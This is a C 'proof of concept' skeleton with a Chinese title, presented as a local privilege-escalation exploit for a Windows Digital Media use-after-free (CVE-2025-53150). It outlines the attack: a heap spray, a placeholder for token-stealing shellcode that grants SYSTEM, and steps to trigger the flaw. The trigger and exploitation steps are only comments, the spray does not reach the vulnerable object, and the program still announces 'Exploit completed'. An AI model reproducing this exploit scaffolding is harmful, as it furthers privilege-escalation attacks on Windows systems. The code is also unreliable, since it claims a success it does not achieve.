CVE-2025-53150 Windows Digital Media UAF本地权限提升漏洞

/* CVE-2025-53150 - Windows Digital Media Use After Free PoC (Conceptual) * Vulnerability: Use After Free in Windows Digital Media component * Impact: Local Privilege Escalation (LPE) * Tested on: Windows 10/11 (affected builds) * * NOTE: This is a conceptual PoC demonstrating the vulnerability pattern. * The actual exploitation requires careful heap manipulation and * Windows Digital Media API interaction. */ #include <windows.h> #include <stdio.h> #include <objbase.h> // Shellcode placeholder - replace with actual token-stealing payload // for SYSTEM privilege escalation unsigned char shellcode[] = { // Token stealing shellcode goes here // Typically: steal SYSTEM token from EPROCESS and apply to current thread 0x90, 0x90, 0x90, 0x90 }; // Callback for heap spray control VOID CALLBACK SprayCallback(PVOID lpParameter, BOOLEAN TimerOrWaitFired) { // Allocate controlled objects to reclaim freed memory // This is where heap spray / heap feng shui happens for (int i = 0; i < 1000; i++) { PVOID p = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (p) { RtlFillMemory(p, 0x1000, 0x41); } } } int main(int argc, char* argv[]) { printf("[+] CVE-2025-53150 PoC - Windows Digital Media UAF LPE\n"); // Step 1: Initialize COM for Digital Media interfaces HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { printf("[-] CoInitializeEx failed: 0x%08lx\n", hr); return 1; } // Step 2: Trigger the vulnerable code path in Windows Digital Media // The vulnerability is triggered when specific media processing APIs // are called, causing a UAF on an internal media object printf("[*] Triggering vulnerable code path...\n"); // Conceptual trigger: interact with Digital Media APIs that cause // the use-after-free condition. The actual API calls depend on the // specific vulnerable function in Windows Digital Media component. // For example, media decoder/encoder operations that mishandle // object lifetimes. // Step 3: Perform heap spray to reclaim freed memory printf("[*] Performing heap spray to reclaim freed memory...\n"); HANDLE hTimer = NULL; CreateTimerQueueTimer(&hTimer, NULL, SprayCallback, NULL, 0, 0, WT_EXECUTEINTIMERTHREAD); Sleep(1000); // Step 4: Trigger the use-after-free access to gain code execution printf("[*] Triggering UAF access for code execution...\n"); // Step 5: Cleanup CoUninitialize(); printf("[+] Exploit completed. Check privilege level.\n"); return 0; }